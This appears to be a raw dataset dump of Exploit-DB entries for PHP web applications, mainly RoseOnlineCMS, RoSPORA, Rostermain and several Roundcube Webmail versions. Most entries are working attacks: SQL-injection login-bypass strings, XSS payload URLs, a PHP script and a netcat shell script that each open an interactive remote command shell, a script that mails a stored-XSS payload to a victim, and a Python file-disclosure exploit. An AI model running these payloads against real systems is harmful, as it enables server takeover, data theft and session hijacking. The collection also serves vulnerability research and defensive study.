deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11158
Description: RoseOnlineCMS 3 B1 - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2010-01-16
Author: cr4wl3r

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |  RoseOnlineCMS <= 3 B1 Remote Login Bypass Exploit |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------

[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://sourceforge.net/projects/rosecms/files/
[!] Date: 16.01.2010
[!] Remote: yes

[!] Code :


<form action="<?php $PHP_SELF; ?>" method="post">

  <div align="center">
    <table width="295" border="0">
      <tr>
        <td width="64">Username:</td>
        <td width="215">
          <label>
          <input name="user" type="text" id="user">
          </label>        </td>
      </tr>
      <tr>
        <td>Password:</td>
        <td>          <input name="pass" type="text" id="pass">        </td>
      </tr>
    </table>
  </div>
  <p align="center">
    <em>
    <input name="submit" type="submit" id="submit" value="Login">
    </em>
</form>
</p>
<?php
if(isset($_POST['submit'])) {


// username and password sent from signup form
$USER = $_POST['user'];
$PASS = md5($_POST['pass']);

$sql = "SELECT * FROM `accounts` WHERE username='$USER' and password='$PASS' and accesslevel = '300'";
$result = mysql_query($sql);

// Mysql_num_row is counting table row
$count = mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count == 1){
// Register $user, $pass and redirect to file ?op=admin
session_register("USER");
session_register("PASS");
echo('Logged in: <a href=?op=admincp>Click here</a> to go to the control panel.');
}
else {
echo "You are banned, or you are an user with no permission to enter.";
}
}
?>

[!] PoC: [RoseOnlineCMS_path]/modules/admin.php

    username : ' or '1=1
    [CREDENTIAL_REDACTED]
Exploit-DB #15343
Description: RoSPORA 1.5.0 - Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2010-10-28
Author: EgiX

Exploit:
<?php

/*
	--------------------------------------------------
	RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit
	--------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	link.....: http://code.google.com/p/rospora/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /index.php
	
	667.	if (!$sort = &$_GET['s']) $sort=0;
	668.	if (!$flag = &$_GET['f']) $flag=0;
	669.	if ($flag==0)   {       $flag=1; $sort_type='<'; } 
	670.	                else    {       $flag=0; $sort_type='>'; }
	671.	$link=$_SERVER['PHP_SELF']."?f=".$flag."&s=";
	672.	
	673.	if (!empty($pl_array)) 
	674.	        {
	675.	        usort($pl_array, create_function('$a, $b', 'if ( $a['.$sort.'] == $b['.$sort.'] ) return 0; if ( $a['.$sort.'] '.$sort_type.' $b['.$sort.'] ) return -1; return 1;'));
	676.	        }
	
	Input parameter passed through $_GET['s'] isn't properly sanitised before being used in a call to
	"create_function()" at line 675. This can be exploited to inject and execute arbitrary PHP code.

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	if (!($sock = fsockopen($host, 80)))
		die("\n[-] No response from {$host}:80\n");

	fputs($sock, $packet);
	return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /rospora/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$code	 = "0]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}?s={$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nrospora-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}

?>
Exploit-DB #11356
Description: Rostermain 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-07
Author: cr4wl3r

Exploit:
[+] Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/games-and-entertainment/rostermain/


[+] Vuln Code : 

[index.php]

if ($_POST['userid'] && $_POST['password'])
{
  // if the user has just tried to log in
  $logquery = "select * from users "
           ."where username='$userid' "
           ." and [CREDENTIAL_REDACTED]' ";

[+] PoC : 

username :  ' or' 1=1
password :  ' or' 1=1
Exploit-DB #30988
Description: Rotabanner Local 2/3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/27138/info

Rotabanner Local is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect Rotabanner Local 2 and 3; other versions may also be affected. 

http://www.example.com/account/index.html?user=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/account/index.html?drop=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #26866
Description: Round Cube Webmail 0.1 -20051021 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-12-17
Author: king_purba

Exploit:
source: https://www.securityfocus.com/bid/15920/info

Round Cube will reportedly reveal its installation path in an error message output to the client. The filesystem layout can be sensitive information that is useful in other attacks against the target server. The trigger for this behavior is not clear; it may occur whenever a script fails and may be dependent on web-server or script configuration settings. 

Requesting this link:

http://xxxx.com/roundcube/?_auth=cf559dcf52d8801ccd51cd1f3ba3eca08d1b0bce= &_task=ma%60il

Caused this error message:

**PHP Error in /usr/local/apache2/htdocs/roundcube/index.php (301)*:* Invalid request failed/file not found
Exploit-DB #11036
Description: Roundcube Webmail - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-06
Author: j4ck & Globus

Exploit:
# Exploit Title: RoundCube Webmail XSS Voulerability
# Date: 6.01.2010
# Author: j4ck & Globus from elitehackers.pl
# Software Link: Software link : http://roundcube.net/download
# Version: 0.2.X , | possible voulerability in higher versions.
# Tested on: *
# Code :

XSS:

http://[somesite.com]/[roundcube_path]/program/steps/error.inc?ERROR_CODE=601&ERROR_MESSAGE=123

We can get FPD or roundcube installation path via:

http://www.[somesite.com]/webmail/program/steps/settings/identities.inc
Exploit-DB #28988
Description: Roundcube Webmail 0.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-13
Author: RSnake

Exploit:
source: https://www.securityfocus.com/bid/21042/info

Roundcube Webmail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/?_task=');alert(%22XSS%22)//
Exploit-DB #30877
Description: Roundcube Webmail 0.1 - CSS Expression Input Validation
Type: webapps
Platform: php
Date: 2007-11-10
Author: Tomas Kuliavas

Exploit:
source: https://www.securityfocus.com/bid/26800/info

Roundcube Webmail is prone to an input-validation vulnerability because it fails to sanitize HTML email messages.

Attackers can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user. Successful attacks can allow attackers to steal cookie-based authentication credentials from legitimate users of the site; other attacks are also possible.

Roundcube Webmail 0.1rc2 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30877.eml
Exploit-DB #33473
Description: Roundcube Webmail 0.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-06
Author: j4ck & Globus

Exploit:
source: https://www.securityfocus.com/bid/37654/info

RoundCube Webmail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/program/steps/error.inc?ERROR_CODE=601&ERROR_MESSAGE=123
Exploit-DB #7549
Description: Roundcube Webmail 0.2-3 Beta - Code Execution
Type: webapps
Platform: php
Date: 2008-12-22
Author: Jacobo Avariento

Exploit:
Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento Gimeno (Sofistic)
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy


Intro
----
Roundcube Webmail is a browser-based IMAP client that uses
"chuggnutt.com HTML to Plain Text Conversion" library to convert
HTML text to plain text, this library uses the preg_replace PHP
function in an insecure manner.

Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)


Analysis of the vulnerable code
----
The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:

        // Run our defined search-and-replace
        $text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e"
flag, i.e.:
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">
'/<b[^>]*>(.+?)<\/b>/ie',                // <b>
'/<th[^>]*>(.+?)<\/th>/ie',              // <th> and </th>

In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', // <a href="">
'strtoupper("\\1")',                    // <b>
"strtoupper(\"\t\t\\1\n\")",            // <th> and </th>

Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside
strings.


Proof of Concept
----
As this vulnerability was discovered in-the-wild:
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
to avoid using single or double quotes the arbitrary shell command
execution is fully feasible. As this vulnerability was discovered last
week no more details will be published yet, more info will be available
at http://sofistic.net.



-- Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.net 

# milw0rm.com [2008-12-22]
Exploit-DB #7553
Description: Roundcube Webmail 0.2b - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-12-22
Author: Hunger

Exploit:
#!/bin/sh
#
# I was hoping the PoC would not appear so soon,
# but now that it is out,
# i thought i might as well publish my real exploit.
#
# Hunger
#
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5619
#
# FOR LEARNING PURPOSES ONLY!
#
# PHP> echo(ini_get('disable_functions'));
#
# exec, system
#
# PHP> passthru("id; uname -a");
#
# uid=666(www-data) gid=666(www-data) groups=666(www-data)
# Linux mail 2.6.28 #0 Sun Jan 01 10:05:33 CET 2009 i686 GNU/Linux
#

echo  'Exploit for Roundcube Webmail =< 0.2-beta'
echo  'html2text.php / preg_replace() / eval bug'
echo -e '\r\nby Hunger <rch2tex@hunger.hu>\r\n\n'

if [ "$2" = "" ]; then echo "
Usage:
$0 <hostname> <deeplink>

Example:
\$ $0 localhost /roundcube/bin/html2text.php


For https sites use stunnel or socat!
"; exit 1; fi

NETCATEXE=`which nc`
BASE64ENC=`which base64`

if [ "$NETCATEXE" = "" ] || [ "$BASE64ENC" = "" ]; 
then
   echo "Required tool(s) missing... (netcat, base64)"
   exit 2
fi

USERAGENT="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2)"

MYPAYLOAD="{\${EVAL(BASE64_DECODE(\$_SERVER[HTTP_ACCEPT]))}}"
EVALEDTAG="<b>"
EVALEDTAG=$EVALEDTAG$MYPAYLOAD
EVALEDTAG=$EVALEDTAG"</b>"

PARAMSIZE=54

HOST_NAME=$1
DEEP_LINK=$2
HTTP_PORT=80

HTTPHEADR=""
HTTPHEADR=$HTTPHEADR"POST $DEEP_LINK HTTP/1.0\r\n"
HTTPHEADR=$HTTPHEADR"Host: $HOST_NAME\r\n"
HTTPHEADR=$HTTPHEADR"User-Agent: $USERAGENT\r\n"
HTTPHEADR=$HTTPHEADR"Content-length: $PARAMSIZE\r\n"
HTTPHEADR=$HTTPHEADR"Accept:"

SPLOITCHK='Succeeded! :))'
PHPAYLOAD='echo("'
PHPAYLOAD=$PHPAYLOAD$SPLOITCHK'\r\n\r\n'
PHPAYLOAD=$PHPAYLOAD'Type PHP functions as shell commands. ;)\r\n'
PHPAYLOAD=$PHPAYLOAD'Use \"exit\" to close session.\r\n\r\n'
PHPAYLOAD=$PHPAYLOAD'Good luck and have phun! ;D\r\n\r\n'
PHPAYLOAD=$PHPAYLOAD'")'

HTTPOKMSG="HTTP/1.0 200 OK"
HTTP1KMSG="HTTP/1.1 200 OK"
RETURNCHR=`echo -e "\r\n"`

echo -n "Trying to exploit... "

f=0; until [ "$PHPAYLOAD" = "exit" ]; do
 PHPAYLOAD=`echo "$PHPAYLOAD;" |$BASE64ENC --wrap=0`
 HTTP_SEND="$HTTPHEADR $PHPAYLOAD\r\n\r\n$EVALEDTAG"
 HTTP_BACK=`echo -ne "$HTTP_SEND"|$NETCATEXE $HOST_NAME $HTTP_PORT`
 if [ $? != 0 ]; then echo "Connection failed."; exit 3; fi
 e=0; l=0; echo "$HTTP_BACK" | while read i; do let l++;
   if [ $l = 1 ] && [ "$i" != "$HTTPOKMSG$RETURNCHR" ] \
                 && [ "$i" != "$HTTP1KMSG$RETURNCHR" ]; then
      echo "Bad Server Response :\\"; exit 4; fi;
   if [ $e = 1 ] && [ $f = 0 ] && [ "$i" = "$MYPAYLOAD" ]; then
      echo "Target has been patched /o\\"; exit 4; fi
   if [ $e = 1 ] && [ $f = 0 ] && [ "$i" != "$SPLOITCHK$RETURNCHR" ]; then
      echo -e "Exploitation failed :(("; exit 4; elif
         [ "$i" = "$SPLOITCHK$RETURNCHR" ]; then let f++; fi
   if [ $e -gt 0 ]; then echo "$i"; fi
   if [ "$i" = "$RETURNCHR" ]; then let e++; fi
 done
 if [ $? != 4 ]; then let f++; echo -ne "PHP> "; else
  echo -e "\n\nDump:\n\n$HTTP_BACK"; exit 4; fi;
 read PHPAYLOAD
done

# milw0rm.com [2008-12-22]
Exploit-DB #17957
Description: Roundcube Webmail 0.3.1 - Cross-Site Request Forgery / SQL Injection
Type: webapps
Platform: php
Date: 2011-10-10
Author: Smith Falcon

Exploit:
# Exploit Title: RoundCube 0.3.1 SQL injection
# Date: 10/10/2011
# Author: Smith Falcon
# Software Link: http://roundcube.net/download
# Version: 0.3.1
# Tested on: Linux

_timezone=
is vulnerable to SQL Union Injection.

"POST" data in

http://site.com/roundcube/index.php

_pass=FrAmE30.&_url=_task=mail&_timezone=_default_&_token=cd5bf19253710dfd569f09bfab862ab3&_action=login&_user=1'+or+BENCHMARK(2500000%2CMD5(1))+or+'1'='1"


XRF vulnerable [ POC ]

POST variable

changing variable _action=login to "_action=anything" shows you the site is
vulnerable to XRF attacks. When you replay it with HTTP Live headers, you
see a logged in URL which shows the roundcube 0.3.1 is vulnerable to XRF
attacks. Successful tampering will lead to username compromising.

_action=loggedin

Credits - iqZer0
Exploit-DB #20549
Description: Roundcube Webmail 0.8.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-16
Author: Shai rod

Exploit:
#!/usr/bin/python

'''
# Exploit Title: Roundcube Webmail Stored XSS.
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://roundcube.net
# Software Link: http://sourceforge.net/projects/roundcubemail/files/roundcubemail/0.8.0/roundcubemail-0.8.0.tar.gz/download
# Version: 0.8.0


#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

# Timeline:
#14 Aug 2012: Discovered Vulnerability.
#14 Aug 2012: Opened Ticket #1488613 - http://trac.roundcube.net/ticket/1488613
#15 Aug 2012: Fix added to repo.

https://github.com/roundcube/roundcubemail/commit/c086978f6a91eacb339fd2976202fca9dad2ef32
https://github.com/roundcube/roundcubemail/commit/5ef8e4ad9d3ee8689d2b83750aa65395b7cd59ee


About the Application:
======================

Roundcube is a free and open source webmail solution with a desktop-like user interface which is easy to install/configure and that runs on a standard LAMPP
server. The skins use the latest web standards such as XHTML and CSS 2. Roundcube includes other sophisticated open-source libraries such as PEAR,
an IMAP library derived from IlohaMail the TinyMCE rich text editor, Googiespell library for spell checking or the WasHTML sanitizer by Frederic Motte.

Vulnerability Description
=========================

1. Stored XSS in e-mail body.

XSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.

2. Self XSS in e-mail body (Signature).

XSS Payload: "><img src='1.jpg'onerror=javascript:alert("XSS")>

In order to trigger this XSS you should insert the payload into your signature.

Settings -> Identities -> Your Identitiy -> Signature
Now create a new mail, XSS Should be triggered.

'''

import smtplib

print "###############################################"
print "#       Roundcube 0.8.0 Stored XSS POC        #"
print "#             Coded by: Shai rod              #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_[CREDENTIAL_REDACTED]"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Roundcube Webmail XSS POC"


# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
Exploit-DB #49510
Description: Roundcube Webmail 1.2 - File Disclosure
Type: webapps
Platform: php
Date: 2021-02-01
Author: stonepresto

Exploit:
# Exploit Title: Roundcube Webmail 1.2 - File Disclosure 
# Date: 09-11-2017
# Exploit Author: stonepresto
# Vendor Homepage: https://roundcube.net/
# Software Link: https://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.2-beta/
# Version: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2
# Tested on: roundcube version 1.2-beta
# CVE : CVE-2017-16651

#!/usr/bin/env python3
# Reference: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1
# https://github.com/stonepresto/CVE-2017-16651
# Exploit Author: stonepresto

import requests
import re
import sys

URL="https://127.0.0.1/"
USER="user@example.com"
PASS="password"

def main():
    s = requests.Session()
    r = s.get(URL,params={"_task":"login"},verify=False)
    token = None
    for line in r.text.split("\n"):
        if 'name="_token"' in line:
            token = line.split("value=")[1].split('"')[1]
            print("[+] token: %s" % token)
    if token is None:
        print("[!] unable to retrieve token")
        sys.exit(1)

    data = {
        "_token":token,
        "_task":"login",
        "_action":"login",
        "_timezone[files][1][path]":sys.argv[1],
        "_url":"_task%3Dlogin",
        "_user":USER,
        "_pass":PASS
    }
    r = s.post(URL,params={"_task":"login"},data=data,verify=False)

    params = {
        "_task":"settings",
        "_action":"upload-display",
        "_from":"timezone",
        "_file":"rcmfile1"
    }

    r = s.get(URL,params=params,verify=False)
    print(r.text)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[!] Usage: %s <file-to-read>" % sys.argv[0])
    else:
        main()